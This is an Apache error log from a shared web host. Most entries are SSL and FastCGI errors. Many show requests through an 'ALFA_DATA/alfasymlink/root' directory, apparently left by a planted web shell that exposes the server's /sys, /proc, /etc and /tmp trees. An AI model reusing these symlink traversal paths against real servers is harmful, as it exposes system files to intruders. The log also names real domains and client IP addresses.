[Sat Oct 24 18:02:32.568332 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:33.695706 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:34.057697 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:34.435982 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:34.892686 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:35.271458 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:35.632972 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:35.994941 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:36.369489 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:36.815588 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:37.266666 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:38.013524 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:38.204877 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 50.16.216.166:64211] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:02:38.875812 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:39.238544 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:39.600650 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:40.352455 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:40.757187 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:41.545842 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:41.907690 2026] [proxy_fcgi:error] [pid 2692918:tid 2692918] [client 74.225.203.7:11407] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 18:02:46.308370 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 23.21.228.180:45659] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:02:54.138054 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 100.29.107.38:57694] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:03:06.170482 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.213.202.136:17495] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:03:14.188781 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.231.77.232:51267] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:03:18.182960 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.229.164.203:5885] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:03:22.162844 2026] [ssl:error] [pid 2684583:tid 2684583] (5)Input/output error: [client 34.194.14.255:12028] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:03:34.135660 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.6.97.88:43184] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:03:38.289542 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.226.106.93:13982] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:03:50.153106 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.229.164.203:6187] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:04:02.292190 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.203.152.231:47649] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:04:06.142770 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 184.73.239.35:34203] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/drivers/thermal/unbind
[Sat Oct 24 18:04:10.277389 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.206.212.24:41642] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:04:18.161270 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 107.20.181.148:55183] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:04:21.823056 2026] [authz_core:error] [pid 2692918:tid 2692918] [client 117.50.18.139:39040] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 18:04:24.333467 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 185.191.171.12:45814] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/store_user
[Sat Oct 24 18:04:46.198843 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.73.142.41:64321] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:04:56.966699 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 185.191.171.11:42430] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/scripts/restorepkg
[Sat Oct 24 18:04:58.129249 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.225.9.97:23541] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:05:06.147194 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.80.73.122:28839] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:05:10.187060 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.224.104.67:58069] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:05:22.158016 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 54.85.109.140:62888] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:05:27.206567 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 185.191.171.10:23468] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-2/red_zone
[Sat Oct 24 18:05:39.797769 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 185.191.171.7:54882] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-32/aliases
[Sat Oct 24 18:05:46.326824 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 184.72.84.154:22213] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:05:50.359162 2026] [security2:error] [pid 2693035:tid 2693035] [client 100.28.57.133:62499] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/mem/kmsg/subsystem/full/subsystem/kmsg/"] [unique_id "at0rvt3lMH_Ldre-PZtsXgAAACk"]
[Sat Oct 24 18:05:50.359218 2026] [security2:error] [pid 2693035:tid 2693035] [client 100.28.57.133:62499] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/mem/kmsg/subsystem/full/subsystem/kmsg/"] [unique_id "at0rvt3lMH_Ldre-PZtsXgAAACk"]
[Sat Oct 24 18:05:54.147275 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.225.98.148:49640] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:06:06.335665 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.211.181.86:8430] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:06:10.311434 2026] [security2:error] [pid 2692918:tid 2692918] [client 34.227.234.246:27153] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:13/subsystem/devices/device:00/physical_node/i2c-0/"] [unique_id "at0r0rUNAjBk2uOT2T-FmwAAAAo"]
[Sat Oct 24 18:06:10.311475 2026] [security2:error] [pid 2692918:tid 2692918] [client 34.227.234.246:27153] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:13/subsystem/devices/device:00/physical_node/i2c-0/"] [unique_id "at0r0rUNAjBk2uOT2T-FmwAAAAo"]
[Sat Oct 24 18:06:14.147891 2026] [ssl:error] [pid 2693017:tid 2693017] (22)Invalid argument: [client 184.73.68.20:50794] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:06:34.223954 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.197.28.78:58527] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:06:46.413437 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.229.95.193:50560] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:06:50.129003 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 23.23.104.107:14073] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:06:54.122079 2026] [ssl:error] [pid 2707149:tid 2707149] (5)Input/output error: [client 3.226.106.93:43767] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:07:14.345594 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 184.73.167.217:8049] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:07:18.321268 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.45.15.233:3525] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:07:26.174656 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 34.196.237.236:36950] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/ata_piix/remove_id
[Sat Oct 24 18:07:30.135669 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.214.138.148:40018] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:07:38.146871 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.80.73.122:50640] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:08:12.380946 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 85.208.96.212:51282] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_inode_cache/objects_partial
[Sat Oct 24 18:08:18.378745 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 44.207.207.36:25271] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYSTM:00/LNXSYBUS:01/subsystem/devices/device:03/physical_node/driver/unbind
[Sat Oct 24 18:08:22.164718 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 35.171.117.160:26409] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:11/eject
[Sat Oct 24 18:08:37.577315 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 85.208.96.209:15104] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-16/cache_dma
[Sat Oct 24 18:08:42.275248 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 100.28.44.58:13926] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:08:50.144818 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.70.209.13:26943] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:08:56.681526 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 185.191.171.11:15202] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:08:58.345445 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.45.92.83:25573] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:09:10.128914 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 100.29.164.178:16652] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:09:18.281839 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 52.1.106.130:44728] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/drivers/button/LNXPWRBN:00/driver/unbind
[Sat Oct 24 18:09:22.570890 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.204.89.56:35927] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:09:33.231332 2026] [autoindex:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 16.216.88.157:45056] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/proftpd/
[Sat Oct 24 18:09:50.131536 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.3.104.214:51014] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:10:02.146919 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 35.153.86.200:19807] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:10:10.178388 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 107.23.62.75:48242] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:10:18.443675 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 52.21.62.139:24973] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:10:27.228644 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 85.208.96.198:49584] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:10:38.483138 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 54.84.250.51:44058] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:10:42.196835 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 54.235.158.162:53512] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/device/subsystem/input3/device/driver/module/uevent
[Sat Oct 24 18:10:50.419005 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 34.202.88.37:63074] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory10/node0/cpu1/driver/cpu0/firmware_node/subsystem/drivers_probe
[Sat Oct 24 18:10:54.379854 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 18.213.240.226:62328] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:11:02.225730 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.213.85.234:58456] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:11:10.475784 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.208.11.93:54059] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:11:11.900757 2026] [security2:error] [pid 2693017:tid 2693017] [client 43.128.156.124:36504] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at0s_yvtCA9Mk3h2rl2kvgAAABM"]
[Sat Oct 24 18:11:18.298881 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 52.1.157.90:35653] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:06/physical_node/virtio2/subsystem/drivers/virtio_rng/unbind
[Sat Oct 24 18:11:22.234981 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 34.204.150.196:4493] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/device:07/eject
[Sat Oct 24 18:11:38.244082 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.213.202.136:12982] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:11:50.261643 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 44.206.65.8:35521] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/dev/char/4:27/subsystem/tty22/subsystem/ttyS3/iomem_reg_shift
[Sat Oct 24 18:11:53.648316 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 85.208.96.202:22704] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:11:58.347599 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 100.29.164.178:13569] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:12:08.743148 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/RITwlF8UBX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/RITwlF8UBX/' is executable
[Sat Oct 24 18:12:08.743203 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Xf45g1vOVG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Xf45g1vOVG/' is executable
[Sat Oct 24 18:12:08.743225 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/' is executable
[Sat Oct 24 18:12:08.743247 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/' is executable
[Sat Oct 24 18:12:08.743328 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/n83SSM739h/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/n83SSM739h/' is executable
[Sat Oct 24 18:12:08.743373 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6kbL1XuIiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6kbL1XuIiD/' is executable
[Sat Oct 24 18:12:08.743413 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/' is executable
[Sat Oct 24 18:12:08.743437 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/v7WsvFUVho/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/v7WsvFUVho/' is executable
[Sat Oct 24 18:12:08.743452 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nnRZJb1Juq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nnRZJb1Juq/' is executable
[Sat Oct 24 18:12:08.743465 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/puppeteer_dev_chrome_profile-hhMbCm/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/puppeteer_dev_chrome_profile-hhMbCm/' is executable
[Sat Oct 24 18:12:08.743480 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/' is executable
[Sat Oct 24 18:12:08.743493 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/wBeybsLHXV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/wBeybsLHXV/' is executable
[Sat Oct 24 18:12:08.743505 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/8q2sCydPh5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/8q2sCydPh5/' is executable
[Sat Oct 24 18:12:08.743542 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ViFEAD6HYr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ViFEAD6HYr/' is executable
[Sat Oct 24 18:12:08.743556 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WnEC8KZtlU/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WnEC8KZtlU/' is executable
[Sat Oct 24 18:12:08.743613 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hNQbPWd2kD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hNQbPWd2kD/' is executable
[Sat Oct 24 18:12:08.743643 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7b1aDEYVIR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7b1aDEYVIR/' is executable
[Sat Oct 24 18:12:08.743674 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nL4cUoX2dh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nL4cUoX2dh/' is executable
[Sat Oct 24 18:12:08.743687 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/atbV7hLAQS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/atbV7hLAQS/' is executable
[Sat Oct 24 18:12:08.743698 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oq6K0rejFI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oq6K0rejFI/' is executable
[Sat Oct 24 18:12:08.743752 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_4gGxNj1jq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_4gGxNj1jq/' is executable
[Sat Oct 24 18:12:08.743770 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PK7EkDXBbp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PK7EkDXBbp/' is executable
[Sat Oct 24 18:12:08.743782 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/P7NdWo184S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/P7NdWo184S/' is executable
